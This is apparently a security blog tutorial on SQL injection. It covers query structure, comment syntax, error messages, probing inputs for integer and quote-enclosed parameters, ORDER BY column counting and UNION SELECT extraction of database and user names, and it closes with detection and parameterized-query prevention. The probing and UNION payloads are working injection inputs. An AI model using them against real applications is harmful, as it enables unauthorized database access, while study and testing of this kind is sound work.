Basics of SQL Injection

Basic of SQL for SQL Injection

In this Tutorial we will discuss some basics of SQL queries and concentrate on queries and basics which will help us while different Phases of Injection. This will be like a crash course of SQL as per the requirements of SQL Injection.

The Hierarchy
First of all there are users which can have access to multiple databases, then a database can have multiple tables then a table can have multiple Columns and columns have data in each row.

This is an example database.

Here is an example of the most basic type of Select query.

select * from table1

Output will be:

Where * stands for all the columns and “table1” is the table name.

so for example we do not want all the columns but only some selected columns in output then the query will be.

select column1,column2 from table1

Output will be:

so let us try some basic conditions now to limit the output.

Select * from students where id=1

Output will be:

let’s try some other conditions with string type columns.

Select * from students where f_name=’camaline’

Whenever we are facing a SQL injection. Something query this is running inside the application. So once we assume what the query is we can easily start injecting into it. Following are some common possibilities of queries you can face:

[#] If Query is taking any numerical input

select * from table_name where id=1
select * from table_name where id=’1′
select * from table_name where id=”1″
select * from table_name where id=(1)
select * from table_name where id=(‘1’)
select * from table_name where id=(“1”)

All the above queries will give same output.

[#] If Query is taking any string input

select * from table_name where id=’1′
select * from table_name where id=”1″
select * from table_name where id=(‘1’)
select * from table_name where id=(“1”)

All the above queries will give same output.

For Example when we see any url like “http://vk9-sec.com/report.php?id=23” we can easily assume what query may be working inside. And that is the first step of SQL injection.

So if we assume for the above url our Assumption Queries will be the following:

select * from table_name where id=23
select * from table_name where id=’23’
select * from table_name where id=”23″
select * from table_name where id=(23)
select * from table_name where id=(’23’)
select * from table_name where id=(“23”)

before we start we must know different types of comments used in SQLi.

Comment		Name
—	:	MySQL Linux Style
–+	:	MySQL Windows Style
#	:	Hash (URL encode while use)
–+-	:	SQL Comment
;%00	:	Null Byte
`	:	Backtick

Important

Remember whenever the input is enclosed with single quotes only single quote with input will create error.
When input is enclosed by double quotes a double quote with input will give error.
When Input is not enclosed with anything single quote and double quote both will give error.

First of all we can try our input with some injections to see if we get any error. Error may always not be real SQL error it may be some times generic error or change in output of the application. All you have to do it recognize it.

SQL ERRORS

MySQL Error Style:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1

MSSQL ASPX Error:

Server Error in ‘/’ Application

MSAccess (Apache PHP):

Fatal error: Uncaught exception ‘com_exception’ with message Source: Microsoft JET Database Engine

MSAccesss (IIS ASP):

Microsoft JET Database Engine error ‘80040e14’

Oracle Error:

ORA-00933: SQL command not properly ended

ODBC Error:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

PostgreSQL Error:

PSQLException: ERROR: unterminated quoted string at or near “‘” Position: 1
or
Query failed: ERROR: syntax error at or near

“‘” at character 56 in /www/site/test.php on line 121.

MS SQL Server: Error:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

Creating errors

Different tests to create errors and confirm which query is working inside the Application while using the same example “http://vk9-sec.com/report.php?id=23” url, You can perform these tests and check the reactions of the application:

select * from table_name where id=23

Input		Reaction if its Intiger Based Injection
23′	:	It should cause error or no output
“	:	Should cause error or no output
23 or 1=1	:	Any Output should come but may be different output
23 and 1=1	:	Same output should come
23 and false	:	No output
23 and true	:	Same Output
23–+	:	Same output. I used –+ to comment, later i ll show how to know which one to use
23 and true–+	:	Same output

If the Web application reacts same as shown above then you can make sure that the injection is integer type.

Scenario 1: Single quote

Now let’s test for single quote enclosed input query.

select * from table_name where id=’23’

Input		Reaction if its Single Qoute Based Injection
23′	:	It should cause error or no output
23″	:	No error Same output
23′ or ‘1’=’1	:	Any Output should come but may be different output
23′ and ‘1’=’1	:	Same output should come
23′ and false–+	:	No output
23′ and true–+	:	Same Output

If the Web application reacts same as shown above, then you can make sure that the injection is single quote type.

Scenario 2: Double quote

Now let’s test for double quote enclosed input query.

select * from table_name where id=”23″

Input		Reaction if its Double Qoute Based Injection
23′	:	No error Same output
23″	:	>It should cause error or no output
23″ or “1”=”1	:	Any Output should come but may be different output
23″ and “1”=”1	:	Same output should come
23″ and false–+	:	No output
23″ and true–+	:	Same Output

If the Web application reacts same as shown above then you can make sure that the injection is single quote type.

Scenario 3: Integer Based Bracket enclosed

Now let’s test for bracket enclosed integer based input query.

select * from table_name where id=(23)

Input		Reaction if its Intiger Based Bracket enclosed Injection
23′	:	It should cause error or no output
“	:	Should cause error or no output
23 or 1=1	:	Output should come but may be different output
23 and 1=1	:	Output should come but may be different output
23 and false	:	No output
23 and true	:	Same Output
23–+	:	Error or No output. Here you can understand that any Bracket is used
23)–+	:	Same output
23) and false–+	:	No output
23) and true–+	:	Same output

If the Web application reacts same as shown above then you can make sure that the injection is Integer type with bracket Query.

Scenario 4: bracket enclosed Single Quote

Now let’s test for bracket enclosed Single Quote based input query.

select * from table_name where id=(’23’)

Input		Reaction if its bracket enclosed Single Quote based Injection
23′	:	It should cause error or no output
23″	:	No error Same output
23′ or ‘1’=’1	:	Any Output should come but may be different output
23′ and ‘1’=’1	:	Any Output should come but may be different output
23′ and false–+	:	No output or error
23′ and true–+	:	No output or error
23′) and False–+	:	No output
23′) and true–+	:	Same Output
23′) or true–+	:	Output will come but may be different

If the Web application reacts same as shown above, then you can make sure that the injection is bracket enclosed Single Quote based input query.

Scenario 5: bracket enclosed Double Quote

Now let’s test for bracket enclosed double Quote based input query.

select * from table_name where id=(“23”)

Input		Reaction if its bracket enclosed Double Quote based Injection
23′	:	No error Same output
23″	:	Error or No output
23″ or “1”=”1	:	Any Output should come but may be different output
23″ and “1”=”1	:	Any Output should come but may be different output
23″ and false–+	:	No output or error
23″ and true–+	:	No output or error
23″) and False–+	:	No output
23″) and true–+	:	Same Output
23″) or true–+	:	Output will come but may be different

If the Web application reacts same as shown above, then you can make sure that the injection is bracket enclosed double Quote based input query.

Deeper SQL injection understanding

As discussed earlier following are the different types of comments used in SQLi.

Comment		Name
—	:	MySQL Linux Style
–+	:	MySQL Windows Style
#	:	Hash (URL encode while use)
–+-	:	SQL Comment
;%00	:	Null Byte
`	:	Backtick

If you see php is used then usually “–” will surely work otherwise you can check “–+” or “# (url encoded)”, else the best option is to try with different types of comments and analyze the input.

Injection types example summary:

Injection		If it gives same Output as 23 was giving then
http://vk9-sec.com/report.php?id=23–	:	Its integer type injection and ‘–‘ can be used as comment
http://vk9-sec.com/report.php?id=23′–	:	Its Single quote type injection and ‘–‘ can be used as comment
http://vk9-sec.com/report.php?id=23″–	:	Its Double quote type injection and ‘–‘ can be used as comment
http://vk9-sec.com/report.php?id=23)–	:	Its integer type with bracket injection and ‘–‘ can be used as comment
http://vk9-sec.com/report.php?id=23′)–	:	Its Single quote with bracket type injection and ‘–‘ can be used as comment
http://vk9-sec.com/report.php?id=23″)–	:	Its Double quote with bracket type injection and ‘–‘ can be used as comment

Now as we have understood and knowing the internal query and then finding the type of command we can use. First of all, we will understand the basics of injecting.

Important: Three basic rules of injecting

[1]. Balance.
[2]. Inject.
[3]. Commenting.

Understanding the first phase “Balance”:

In this phase we balance the internal query. Let’s say we figured out that out internal query is “Select * from tablename where id=(’23’)” so in this case our balance input should be 23′).

The phase of Injection:

In this phase we inject as per our requirement, and the type of injection we are doing.

The phase of Commenting:

Then the last part of commenting, which we already know. Now check the below image which will show you all the three parts on injection.

As per the Above Injection we can assume the internal query to be:

Select * from tablename where id='<input>’
So when we pass the url http://vk9-sec.com/report.php?id=23′ order by 1 –+

then it will be injected on place of <input> in above query and become:
Select * from tablename where id=’23’ order by 1 –+’

How to Find Columns

First let’s start by understanding why we require to find the number of columns. First again let’s start from the basics our example database:

Select f_name,l_name from students where id=1

Output will be:

f_name	l_name
Emily	watson

Now let’s see how we can manipulate the output using Union statement. Union is used to add the output of multiple queries together. For Example Below is a simple union query.

Select f_name,l_name from students where id=1 union select f_name,l_name from students where id=2

Output will be:

f_name	l_name
Emily	watson
Deniel	Robertson

Important

So what the union query did over here is it concatenated output of two different Select queries. But one thing to remember while concatenating, that Union will only concatenate if both queries are outputting same numbers of columns. Let’s try some more.

Select f_name,l_name from students where id=1 union select 1,2

Output will be:

f_name	l_name
Emily	watson
1	2

==================================================================

Select f_name,l_name from students where id=1 union select ‘hello’,’bye’

Output will be:

f_name	l_name
Emily	watson
hello	bye

==================================================================

Select f_name,l_name from students where id=1 union select 5545,2323

Output will be:

f_name	l_name
Emily	watson
5545	2323

==================================================================

Select f_name,l_name from students where id=1 union select database(),user()

Output will be:

f_name	l_name
Emily	watson
fakedb1	fakeuser@localhost

ORDER BY

Select * from students where id=1 union select f_name,l_name from students where id=2

for the above one there won’t be any output but only an error that “The used SELECT statements have a different number of columns”, because “select * from students” is selecting all the columns from the table students which are four, that is why when we tried to union 2 columns with it, we got an error. Union select is used to concatenate our injected output with the real output. Here we face a problem that we must know the number of columns select query is using so that we can make the right union select statement. Here enters the “order by” keyword. Order by is used to sort the output of a query let’s see some examples.

Query		Output
select * from students order by 1	:	It will output all the rows and sort then by the first column which is id
select * from students order by 2	:	It will output all the rows and sort then by the second column which is f_name
select * from students order by 3	:	It will output all the rows and sort then by the third column which is l_name
select * from students order by 4	:	It will output all the rows and sort then by the forth column which is roll_no
select * from students order by 5	:	It will create an error “Unknown column ‘5’ in ‘order clause'”
select f_name,l_name from students order by 1	:	It will output all the rows and sort then by the first column which is f_name
select f_name,l_name from students order by 2	:	It will output all the rows and sort then by the second column which is l_name
select f_name,l_name from students order by 3	:	It will create an error “Unknown column ‘3’ in ‘order clause'”

So we have analyzed above that if we try to sort our output with any number which is more than our column count then it will create error. So we can easily understand that we can use order by to know how many columns we have inside the query.

Examples

Query		Output
http://vk9-sec.com/report.php?id=23	:	Simple Output from Web-Application
http://vk9-sec.com/report.php?id=23′	:	Error “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1″
http://vk9-sec.com/report.php?id=23″	:	Error “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘”‘ at line 1”
http://vk9-sec.com/report.php?id=23 and true	:	while testing internal query if error comes with both single and double quote then the internal query could be integer based, so now testing for that. It Gives output
http://vk9-sec.com/report.php?id=23 and false	:	No Output

Checked this URL and understood that it’s a Integer Based Query. We can make an assumption like below.

Select * from anytablename where id=<Input>

Now let us try and see which comment type we can use. As we already know that input is integer type and is not enclosed by any single or double quote so we will be testing for integer type injection only and wont have to close any single or double quote this time.

Query		Output
http://vk9-sec.com/report.php?id=23`	:	Back tick type commenting (Error)
http://vk9-sec.com/report.php?id=23–	:	Error or no Output
http://vk9-sec.com/report.php?id=23–+	:	Same Output like 23 was giving
http://vk9-sec.com/report.php?id=23 or true–+	:	No error but some different output

As we learnt while testing for comment type we can understand with the above output that –+ can be used over here as comment. So as we can see whatever we inject in URL gets injected in the query. Our next task starts here. As now we need to use Union Select statement so that we can manipulate the output and print whatever we want to extract about and from the database. But to use Union select we must know the number of columns used under the query. For that we will use ‘Order By’ as we know if we give order by a number more than the number under the query, then it will throw an error.

URL Injection	Internal Query	Output
http://vk9-sec.com/report.php?id=23 order by 10–+	Select * from tablename where id=23 order by 10	Error (then reduce)
http://vk9-sec.com/report.php?id=23 order by 1–+	Select * from tablename where id=23 order by 1	Working (then increase)
http://vk9-sec.com/report.php?id=23 order by 5–+	Select * from tablename where id=23 order by 5	Working (then increase)
http://vk9-sec.com/report.php?id=23 order by 8–+	Select * from tablename where id=23 order by 8	Error (then reduce)
http://vk9-sec.com/report.php?id=23 order by 6–+	Select * from tablename where id=23 order by 6	Error (then reduce)

We already know that 5 worked so we don’t need to reduce and test again. We can simply understand that 5 is the last number that worked. Now we can use Union select query, which will be the next phase of our injection.

How to detect SQL injection vulnerabilities

The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite’s web vulnerability scanner.

SQL injection can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves:

• Submitting the single quote character ‘ and looking for errors or other anomalies.
• Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses.
• Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application’s responses.
• Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differences in the time taken to respond.
• Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitoring for any resulting interactions.

SQL injection in different parts of the query

Most SQL injection vulnerabilities arise within the WHERE clause of a SELECT query. This type of SQL injection is generally well-understood by experienced testers.

But SQL injection vulnerabilities can in principle occur at any location within the query, and within different query types. The most common other locations where SQL injection arises are:

• In UPDATE statements, within the updated values or the WHERE clause.
• In INSERT statements, within the inserted values.
• In SELECT statements, within the table or column name.
• In SELECT statements, within the ORDER BY clause.

There are also many differences between common databases. These mean that some techniques for detecting and exploiting SQL injection work differently on different platforms. For example:

• Syntax for string concatenation.
• Comments.
• Batched (or stacked) queries.
• Platform-specific APIs.
• Error messages.

How to prevent SQL injection

Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:

• String query = “SELECT * FROM products WHERE category = ‘”+ input + “‘”;
• Statement statement = connection.createStatement();
• ResultSet resultSet = statement.executeQuery(query);

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

• PreparedStatement statement = connection.prepareStatement(“SELECT * FROM products WHERE category = ?”);
• statement.setString(1, input);
• ResultSet resultSet = statement.executeQuery();

Parameterized queries can be used for any situation where untrusted input appears as data within the query, including the WHERE clause and values in an INSERT or UPDATE statement. They can’t be used to handle untrusted input in other parts of the query, such as table or column names, or the ORDER BY clause. Application functionality that places untrusted data into those parts of the query will need to take a different approach, such as white-listing permitted input values, or using different logic to deliver the required behavior.

For a parameterized query to be effective in preventing SQL injection, the string that is used in the query must always be a hard-coded constant, and must never contain any variable data from any origin. Do not be tempted to decide case-by-case whether an item of data is trusted, and continue using string concatenation within the query for cases that are considered safe. It is all too easy to make mistakes about the possible origin of data, or for changes in other code to violate assumptions about what data is tainted.